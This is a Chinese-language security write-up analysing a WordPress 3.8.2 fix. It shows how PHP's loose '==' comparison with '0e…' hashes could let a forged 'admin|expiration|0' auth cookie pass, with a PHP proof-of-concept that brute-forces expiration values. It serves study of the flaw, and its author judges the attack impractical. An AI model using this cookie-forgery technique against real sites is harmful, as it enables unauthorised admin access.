作者:
donwa
·
2014/04/13 23:12
0x00 背景
看了WordPress 3.8.2補丁分析 HMAC timing attack,眼界大開,原來還可以利用時間差來判斷HMAC。
但我總覺得這個漏洞並不是簡單的修復這個問題。
檢視了官方提供的資料:“該漏洞是由WordPress的安全團隊成員Jon Cave發現。”。
也許漏洞還有這樣利用的可能。
0x01 PHP的特性
當PHP在進行 ”==”,”!=”等非嚴格匹配的情況下,會按照值的實際情況,進行強制轉換。
#!php
<?php
var_dump(0 == '0'); // true
var_dump(0 == 'abcdefg'); // true
var_dump(0 === 'abcdefg'); // false
var_dump(1 == '1abcdef'); // true
?>
當有一個對比引數是整數的時候,會把另外一個引數強制轉換為整數。
0x02 分析修復的程式碼
官方版的diff只在php裡改動了一個位置:
#!diff
<?php
- if ( $hmac != $hash ) {
+ if ( hash_hmac( 'md5', $hmac, $key ) !== hash_hmac( 'md5', $hash, $key ) ) {
?>
其中$hmac來源於cookies。是我們可控的一個輸入引數。
#!php
<?php
Admin|1397564163|1f253e501c301bf5bf293c40d7d92ded
//$username = ‘Admin’;
//$expiration = 1397564163;
//$hmac = ‘1f253e501c301bf5bf293c40d7d92ded’;
?>
$hash是以下程式碼生成一個md5值。
#!php
<?php
$key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme);
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);
?>
當$hmac == $hash
時,登入成功。
那麼,有幾種情況會登入成功。
#!php
<?php
//第一種情況,完全相等。
$hmac = ‘1f253e501c301bf5bf293c40d7d92ded’;
$hash = ‘1f253e501c301bf5bf293c40d7d92ded’;
//第二種情況.第一位為數字,第二位為字母
$hmac = 1;
$hash = ‘1f253e501c301bf5bf293c40d7d92ded’;
//第三種情況。第一位為字母
$hmac = 0;
$hash = ‘af253e501c301bf5bf293c40d7d92ded’;
?>
很明顯,第三種出現的情況非常大。
那麼我們有沒有可能把$hmac構造成一個整數0呢?
0x03 漏洞利用
我們看看cookie解析的程式碼:
#!php
<?php
$cookie_elements = explode('|', $cookie);
if ( count($cookie_elements) != 3 )
return false;
list($username, $expiration, $hmac) = $cookie_elements;
?>
當我們把cookie設定為:
Admin|1397564163|1
時。$hmac=’1’。但是,$hmac是字串1,而不是整數1。
#!php
<?php
var_dump($hmac);//string(“1”);
?>
非常遺憾,這個漏洞是不能利用的。
難道官方修復的真的不是這個漏洞?
0x04 柳暗花明又一村
還有什麼情況能讓字串識別成整數嗎?是的,還有!
#!php
<?php
var_dump("0" == "0e1234567890123456...32"); // true
?>
‘e’會識別為次方,0的N次方為0;
所以,這個漏洞的利用方式還可以是:
讓$hmac = ‘0’;
透過改變$expiration來改變$hash。獲得一個,第一位為0,第二位為e,後面所有位為數字的$hash.
#!php
<?php
$hmac = ‘0’;
$hash = ‘0e1234567890123456...32’;
var_dump($hmac == $hash); // true
?>
0x05 攻擊程式碼
本地測試程式碼(實際攻擊程式碼應該是構造cookies遠端請求):
#!php
<?php
include( 'wp-load.php' );
$user = get_userdata(1);
$username = $user->user_login;
$pass_frag = substr($user->user_pass, 8, 4);
$expiration = 9999999999; //設定一個很大的過期時間,然後遞減
while($expiration >0){
$key = wp_hash($username . $pass_frag . '|' . $expiration, 'auth');
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);
if('0' == $hash OR '1'== $hash ){
echo $expiration.'@'.$hash;
file_put_contents('done.txt',$expiration.'@'.$hash);
exit();
}
$expiration -= 1;//過期時間-1
echo $expiration.'@'.$hash."\r\n";
}
?>
透過改變過期時間,嘗試碰撞到可以利用的hash。
按照理論值。碰撞到可以利用的$expiration機率是(2110^30)/(16^32)。也就是5.8774717541114 * 10 -9。
理論上:把cookies設定成 “admin|碰撞到的過期時間|0”,就可以登陸後臺了。
但是機率太小,還不如窮舉密碼了。
Ps:我本地跑了幾個小時了,還沒遇到一個。
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!